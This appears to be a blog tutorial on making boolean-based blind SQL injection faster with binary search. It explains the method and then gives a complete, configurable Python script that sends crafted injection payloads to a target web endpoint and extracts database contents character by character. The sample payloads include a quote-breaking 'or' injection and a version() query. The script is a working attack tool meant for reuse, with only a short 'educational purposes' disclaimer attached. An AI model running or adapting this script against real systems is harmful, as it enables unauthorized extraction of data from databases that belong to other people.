Implement Boolean Blind SQL Injection with Binary Search
Sometimes while writing scripts to use sqli (SQL injection) to extract data, we have to deal with Boolean-based sqli. Usually this is done in a linear loop, but we can use binary search to speed it up.
Boolean-based sqli
Quick detour: Boolean-based sqli is when the API response does not contain the sqli result, but some part of the response changes based on the sql statement. Normally, this manifests as a response A when the sql statement executes normally (or “true”) and a response B when the sql statements executes abnormally (or “false”).
When trying to extract data, we can use this difference in response to extract the result character by character. We do this by comparing looping through the characters of the result and comparing each character against our desired charset, for example, ASCII characters.
As an example, if we know the extracted response is 2 characters, and our desired charset is 0123456789, we can first check the first character against 0. If that is true, the API response might return successfully. If that is false, the API response might return an error. That is, the API response tells us if the first character == 0. We loop the entire charset against the first character, and one of them would return a successful API response. Then we repeat this with the second character. If we don’t know the length, we first make the first sqli return length(result) instead.
Binary search
Quick detour: Binary search is a search algorithm that drastically reduces search time compared to linear search by doing fewer checks. In Big O notation, linear search is O(N), whereas binary search is O(log n). In more visual terms, for a search space of 100 elements, linear search takes up to 100 comparisons. Binary search takes up to only 8 comparisons.
Binary search works only when the search space is sorted, and it works by cutting the search space in half after each comparison. In very short terms, we start by checking the middle of the search space, and comparing that against the search term. If the search term is higher than the middle element, we search the upper half and repeat. Otherwise, we search the lower half and repeat.
Putting them together
The usual way to do boolean-based sqli is the do linear search, by looping over the ASCII charset. Since the ASCII charset is sorted, we can use binary search. Instead of asking whether each character == or != an ASCII index, we ask whether it is < or not. From that answer, we can discard half of the remaining search space. That is, we do binary search. We need some extra checks to deal with special cases, and add some SQL code to deal with converting type.
The code has some parts that need changing to customize it to each sqli opportunity. There are comments to explain what to do with each. In particular, the “part that indicates whether the response is true” is in the method response_indicates_true which has to be implemented correctly.
Anyway, once all that is changed, just run it and it will start extracting character by character. The script prints # when there is any character it cannot match. This usually happens either when that character is not in the charset, or when the SQL result has ended (eg, if the result is foo but the length was set to 4, the script will print foo#). If however, the length is shorter than the result length, the extracted result will simply be truncated. Most of the time this is not a problem as the result is obvious from context, but do take note of this if you are extracting tokens.
Finally, there is a counter that indicates how many API calls were made in total. A paper estimate: for a result of length 20 and charset 0–9a-zA-Z(charset has 62 characters), assuming linear search takes an average of 31 tries per character, that’s 620 API calls. Now assume binary search hits the worst case for each char at 7 tries per char, that’s 140 API calls.
So here is the code (the SQL targets Postgres). Use at own risk and only for educational purposes:
import requests
# CHANGEME: Target IP
RHOST = "10.10.10.10"
# CHANGEME: API path. use [X] as placeholder for the sqli payload
URL = f"http://{RHOST}/path/to/sqli/foo.php?q=[X]"
# CHANGEME: Payload that triggers sqli. use [X] as placeholder for the boolean part
SQLI_PAYLOAD = """test') or [X] %23"""
# CHANGEME: Payload that returns the data to extract
DATA_PAYLOAD = """select version()"""
# CHANGEME: Length of result
RESULT_LENGTH = 10
# ascii charset that will be searched
CHARSET_LOW = 32
CHARSET_HIGH = 126
# CHANGEME: implement this function to return whether the response indicates true
def response_indicates_true(r):
return int(r.headers['Content-Length']) > 20
# CHANGEME: use the right request method and config
def send_request(url):
return requests.get(url)
# BOILERPLATE START
def call_url_and_extract_char(index_result):
charset_low = CHARSET_LOW
charset_high = CHARSET_HIGH
while charset_low < charset_high:
# special case for len 2 charset, which will miss charset_high
if charset_low + 1 == charset_high:
url_equals = create_final_url(index_result, "=", charset_high)
r = call_api(url_equals)
if (response_indicates_true(r)):
print(f"Extracted {chr(charset_high)} at index {index_result}")
return chr(charset_high)
# start binary search
charset_mid = (charset_low + charset_high) // 2
url_lessthan = create_final_url(index_result, "<", charset_mid)
r = call_api(url_lessthan)
if (response_indicates_true(r)):
# search lower half
charset_high = charset_mid
continue
url_equals = create_final_url(index_result, "=", charset_mid)
r = call_api(url_equals)
if (response_indicates_true(r)):
print(f"Extracted {chr(charset_mid)} at index {index_result}")
return chr(charset_mid)
else:
# search upper half
charset_low = charset_mid
print(f"Unable to extract char at index {index_result}")
return "#"
def create_final_url(index_result, op, index_charset):
# print(f"debug: {op}{index_charset}")
data_part = f"(ascii(substring(convert(({DATA_PAYLOAD}),char),{index_result},1)))"
sqli_part = SQLI_PAYLOAD.replace("[X]", f"{data_part}{op}{index_charset}")
return URL.replace("[X]", sqli_part)
api_calls = 0
def call_api(url):
global api_calls
api_calls += 1
return send_request(url)
# BOILERPLATE END
def main():
print(f"Started extracting `{DATA_PAYLOAD}`")
result_str = ''
for index_result in range(1, RESULT_LENGTH + 1):
result_str += call_url_and_extract_char(index_result)
print(f"Result is `{result_str}` after {api_calls} api calls")
if __name__ == "__main__":
main()Some other articles you might like
